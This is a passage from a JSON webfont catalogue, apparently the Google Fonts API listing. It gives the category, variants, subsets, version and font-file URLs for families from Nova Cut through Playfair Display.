    "700": "http://fonts.gstatic.com/s/notoserif/v4/lJAvZoKA5NttpPc9yc6lPQJKKGfqHaYFsRG-T3ceEVo.ttf",
    "700italic": "http://fonts.gstatic.com/s/notoserif/v4/Wreg0Be4tcFGM2t6VWytvED2ttfZwueP-QU272T9-k4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Cut",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novacut/v8/6q12jWcBvj0KO2cMRP97tA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Flat",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novaflat/v8/pK7a0CoGzI684qe_XSHBqQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Mono",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "greek"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novamono/v7/6-SChr5ZIaaasJFBkgrLNw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Oval",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novaoval/v8/VuukVpKP8BwUf8o9W5LYQQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Round",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novaround/v8/7-cK3Ari_8XYYFgVMxVhDvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Script",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novascript/v8/dEvxQDLgx1M1TKY-NmBWYaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Slim",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novaslim/v8/rPYXC81_VL2EW-4CzBX65g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nova Square",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/novasquare/v8/BcBzXoaDzYX78rquGXVuSqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Numans",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/numans/v6/g5snI2p6OEjjTNmTHyBdiQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nunito",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "300": "http://fonts.gstatic.com/s/nunito/v7/zXQvrWBJqUooM7Xv98MrQw.ttf",
    "regular": "http://fonts.gstatic.com/s/nunito/v7/ySZTeT3IuzJj0GK6uGpbBg.ttf",
    "700": "http://fonts.gstatic.com/s/nunito/v7/aEdlqgMuYbpe4U3TnqOQMA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Odor Mean Chey",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/odormeanchey/v8/GK3E7EjPoBkeZhYshGFo0eVKG8sq4NyGgdteJLvqLDs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Offside",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/offside/v4/v0C913SB8wqQUvcu1faUqw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Old Standard TT",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oldstandardtt/v7/n6RTCDcIPWSE8UNBa4k-DLcB5jyhm1VsHs65c3QNDr0.ttf",
    "italic": "http://fonts.gstatic.com/s/oldstandardtt/v7/QQT_AUSp4AV4dpJfIN7U5PWrQzeMtsHf8QsWQ2cZg3c.ttf",
    "700": "http://fonts.gstatic.com/s/oldstandardtt/v7/5Ywdce7XEbTSbxs__4X1_HJqbZqK7TdZ58X80Q_Lw8Y.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oldenburg",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oldenburg/v4/dqA_M_uoCVXZbCO-oKBTnQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oleo Script",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oleoscript/v5/21stZcmPyzbQVXtmGegyqKCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/oleoscript/v5/hudNQFKFl98JdNnlo363fne1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oleo Script Swash Caps",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v4/vdWhGqsBUAP-FF3NOYTe4iMF4kXAPemmyaDpMXQ31P0.ttf",
    "700": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v4/HMO3ftxA9AU5floml9c755reFYaXZ4zuJXJ8fr8OO1g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Open Sans",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "600",
    "600italic",
    "700",
    "700italic",
    "800",
    "800italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic",
    "devanagari"
   ],
   "version": "v10",
   "lastModified": "2014-10-17",
   "files": {
    "300": "http://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTS3USBnSvpkopQaUR-2r7iU.ttf",
    "300italic": "http://fonts.gstatic.com/s/opensans/v10/PRmiXeptR36kaC0GEAetxi9-WlPSxbfiI49GsXo3q0g.ttf",
    "regular": "http://fonts.gstatic.com/s/opensans/v10/IgZJs4-7SA1XX_edsoXWog.ttf",
    "italic": "http://fonts.gstatic.com/s/opensans/v10/O4NhV7_qs9r9seTo7fnsVKCWcynf_cDxXwCLxiixG1c.ttf",
    "600": "http://fonts.gstatic.com/s/opensans/v10/MTP_ySUJH_bn48VBG8sNSi3USBnSvpkopQaUR-2r7iU.ttf",
    "600italic": "http://fonts.gstatic.com/s/opensans/v10/PRmiXeptR36kaC0GEAetxpZ7xm-Bj30Bj2KNdXDzSZg.ttf",
    "700": "http://fonts.gstatic.com/s/opensans/v10/k3k702ZOKiLJc3WVjuplzC3USBnSvpkopQaUR-2r7iU.ttf",
    "700italic": "http://fonts.gstatic.com/s/opensans/v10/PRmiXeptR36kaC0GEAetxne1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "800": "http://fonts.gstatic.com/s/opensans/v10/EInbV5DfGHOiMmvb1Xr-hi3USBnSvpkopQaUR-2r7iU.ttf",
    "800italic": "http://fonts.gstatic.com/s/opensans/v10/PRmiXeptR36kaC0GEAetxg89PwPrYLaRFJ-HNCU9NbA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Open Sans Condensed",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "700"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v10",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/opensanscondensed/v10/gk5FxslNkTTHtojXrkp-xEMwSSh38KQVJx4ABtsZTnA.ttf",
    "300italic": "http://fonts.gstatic.com/s/opensanscondensed/v10/jIXlqT1WKafUSwj6s9AzV4_LkTZ_uhAwfmGJ084hlvM.ttf",
    "700": "http://fonts.gstatic.com/s/opensanscondensed/v10/gk5FxslNkTTHtojXrkp-xBEM87DM3yorPOrvA-vB930.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oranienbaum",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oranienbaum/v4/M98jYwCSn0PaFhXXgviCoaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Orbitron",
   "category": "sans-serif",
   "variants": [
    "regular",
    "500",
    "700",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/orbitron/v6/DY8swouAZjR3RaUPRf0HDQ.ttf",
    "500": "http://fonts.gstatic.com/s/orbitron/v6/p-y_ffzMdo5JN_7ia0vYEqCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/orbitron/v6/PS9_6SLkY1Y6OgPO3APr6qCWcynf_cDxXwCLxiixG1c.ttf",
    "900": "http://fonts.gstatic.com/s/orbitron/v6/2I3-8i9hT294TE_pyjy9SaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oregano",
   "category": "display",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oregano/v4/UiLhqNixVv2EpjRoBG6axA.ttf",
    "italic": "http://fonts.gstatic.com/s/oregano/v4/_iwqGEht6XsAuEaCbYG64Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Orienta",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/orienta/v4/_NKSk93mMs0xsqtfjCsB3Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Original Surfer",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/originalsurfer/v5/gdHw6HpSIN4D6Xt7pi1-qIkEz33TDwAZczo_6fY7eg0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oswald",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v10",
   "lastModified": "2014-10-07",
   "files": {
    "300": "http://fonts.gstatic.com/s/oswald/v10/y3tZpCdiRD4oNRRYFcAR5Q.ttf",
    "regular": "http://fonts.gstatic.com/s/oswald/v10/uLEd2g2vJglLPfsBF91DCg.ttf",
    "700": "http://fonts.gstatic.com/s/oswald/v10/7wj8ldV_5Ti37rHa0m1DDw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Over the Rainbow",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/overtherainbow/v7/6gp-gkpI2kie2dHQQLM2jQBdxkZd83xOSx-PAQ2QmiI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Overlock",
   "category": "display",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/overlock/v5/Z8oYsGi88-E1cUB8YBFMAg.ttf",
    "italic": "http://fonts.gstatic.com/s/overlock/v5/rq6EacukHROOBrFrK_zF6_esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/overlock/v5/Fexr8SqXM8Bm_gEVUA7AKaCWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/overlock/v5/wFWnYgeXKYBks6gEUwYnfAJKKGfqHaYFsRG-T3ceEVo.ttf",
    "900": "http://fonts.gstatic.com/s/overlock/v5/YPJCVTT8ZbG3899l_-KIGqCWcynf_cDxXwCLxiixG1c.ttf",
    "900italic": "http://fonts.gstatic.com/s/overlock/v5/iOZhxT2zlg7W5ij_lb-oDp0EAVxt0G0biEntp43Qt6E.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Overlock SC",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/overlocksc/v5/8D7HYDsvS_g1GhBnlHzgzaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ovo",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ovo/v7/mFg27dimu3s9t09qjCwB1g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oxygen",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-10-07",
   "files": {
    "300": "http://fonts.gstatic.com/s/oxygen/v5/lZ31r0bR1Bzt_DfGZu1S8A.ttf",
    "regular": "http://fonts.gstatic.com/s/oxygen/v5/uhoyAE7XlQL22abzQieHjw.ttf",
    "700": "http://fonts.gstatic.com/s/oxygen/v5/yLqkmDwuNtt5pSqsJmhyrg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Oxygen Mono",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/oxygenmono/v4/DigTu7k4b7OmM8ubt1Qza6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "PT Mono",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ptmono/v4/QUbM8H9yJK5NhpQ0REO6Wg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "PT Sans",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ptsans/v8/UFoEz2uiuMypUGZL1NKoeg.ttf",
    "italic": "http://fonts.gstatic.com/s/ptsans/v8/yls9EYWOd496wiu7qzfgNg.ttf",
    "700": "http://fonts.gstatic.com/s/ptsans/v8/F51BEgHuR0tYHxF0bD4vwvesZW2xOQ-xsNqO47m55DA.ttf",
    "700italic": "http://fonts.gstatic.com/s/ptsans/v8/lILlYDvubYemzYzN7GbLkC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "PT Sans Caption",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ptsanscaption/v9/OXYTDOzBcXU8MTNBvBHeSW8by34Z3mUMtM-o4y-SHCY.ttf",
    "700": "http://fonts.gstatic.com/s/ptsanscaption/v9/Q-gJrFokeE7JydPpxASt25tc0eyfI4QDEsobEEpk_hA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "PT Sans Narrow",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ptsansnarrow/v7/UyYrYy3ltEffJV9QueSi4ZTvAuddT2xDMbdz0mdLyZY.ttf",
    "700": "http://fonts.gstatic.com/s/ptsansnarrow/v7/Q_pTky3Sc3ubRibGToTAYsLtdzs3iyjn_YuT226ZsLU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "PT Serif",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ptserif/v8/sAo427rn3-QL9sWCbMZXhA.ttf",
    "italic": "http://fonts.gstatic.com/s/ptserif/v8/9khWhKzhpkH0OkNnBKS3n_esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/ptserif/v8/kyZw18tqQ5if-_wpmxxOeKCWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/ptserif/v8/Foydq9xJp--nfYIx2TBz9QJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "PT Serif Caption",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ptserifcaption/v8/7xkFOeTxxO1GMC1suOUYWVsRioCqs5fohhaYel24W3k.ttf",
    "italic": "http://fonts.gstatic.com/s/ptserifcaption/v8/0kfPsmrmTSgiec7u_Wa0DB1mqvzPHelJwRcF_s_EUM0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Pacifico",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pacifico/v7/GIrpeRY1r5CzbfL8r182lw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Paprika",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/paprika/v4/b-VpyoRSieBdB5BPJVF8HQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Parisienne",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/parisienne/v4/TW74B5QISJNx9moxGlmJfvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Passero One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/passeroone/v8/Yc-7nH5deCCv9Ed0MMnAQqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Passion One",
   "category": "display",
   "variants": [
    "regular",
    "700",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/passionone/v6/1UIK1tg3bKJ4J3o35M4heqCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/passionone/v6/feOcYDy2R-f3Ysy72PYJ2ne1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "900": "http://fonts.gstatic.com/s/passionone/v6/feOcYDy2R-f3Ysy72PYJ2ienaqEuufTBk9XMKnKmgDA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Pathway Gothic One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pathwaygothicone/v4/Lqv9ztoTUV8Q0FmQZzPqaA6A6xIYD7vYcYDop1i-K-c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Patrick Hand",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin"
   ],
   "version": "v10",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/patrickhand/v10/9BG3JJgt_HlF3NpEUehL0C3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Patrick Hand SC",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/patrickhandsc/v4/OYFWCgfCR-7uHIovjUZXsbAgSRh1LpJXlLfl8IbsmHg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Patua One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/patuaone/v6/njZwotTYjswR4qdhsW-kJw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Paytone One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/paytoneone/v8/3WCxC7JAJjQHQVoIE0ZwvqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Peralta",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/peralta/v4/cTJX5KEuc0GKRU9NXSm-8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Permanent Marker",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/permanentmarker/v5/9vYsg5VgPHKK8SXYbf3sMol14xj5tdg9OHF8w4E7StQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Petit Formal Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/petitformalscript/v4/OEZwr2-ovBsq2n3ACCKoEvVPl2Gjtxj0D6F7QLy1VQc.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Petrona",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/petrona/v5/nnQwxlP6dhrGovYEFtemTg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Philosopher",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/philosopher/v7/oZLTrB9jmJsyV0u_T0TKEaCWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/philosopher/v7/_9Hnc_gz9k7Qq6uKaeHKmUeOrDcLawS7-ssYqLr2Xp4.ttf",
    "700": "http://fonts.gstatic.com/s/philosopher/v7/napvkewXG9Gqby5vwGHICHe1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "700italic": "http://fonts.gstatic.com/s/philosopher/v7/PuKlryTcvTj7-qZWfLCFIM_zJjSACmk0BRPxQqhnNLU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Piedra",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/piedra/v5/owf-AvEEyAj9LJ2tVZ_3Mw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Pinyon Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pinyonscript/v6/TzghnhfCn7TuE73f-CBQ0CeUSrabuTpOsMEiRLtKwk0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Pirata One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/pirataone/v4/WnbD86B4vB2ckYcL7oxuhvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Plaster",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/plaster/v7/O4QG9Z5116CXyfJdR9zxLw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Play",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/play/v6/GWvfObW8LhtsOX333MCpBg.ttf",
    "700": "http://fonts.gstatic.com/s/play/v6/crPhg6I0alLI-MpB3vW-zw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Playball",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/playball/v6/3hOFiQm_EUzycTpcN9uz4w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Playfair Display",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v10",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/playfairdisplay/v10/2NBgzUtEeyB-Xtpr9bm1CV6uyC_qD11hrFQ6EGgTJWI.ttf",
    "italic": "http://fonts.gstatic.com/s/playfairdisplay/v10/9MkijrV-dEJ0-_NWV7E6NzMsbnvDNEBX25F5HWk9AhI.ttf",
    "700": "http://fonts.gstatic.com/s/playfairdisplay/v10/UC3ZEjagJi85gF9qFaBgICsv6SrURqJprbhH_C1Mw8w.ttf",
    "700italic": "http://fonts.gstatic.com/s/playfairdisplay/v10/n7G4PqJvFP2Kubl0VBLDECsYW3XoOVcYyYdp9NzzS9E.ttf",
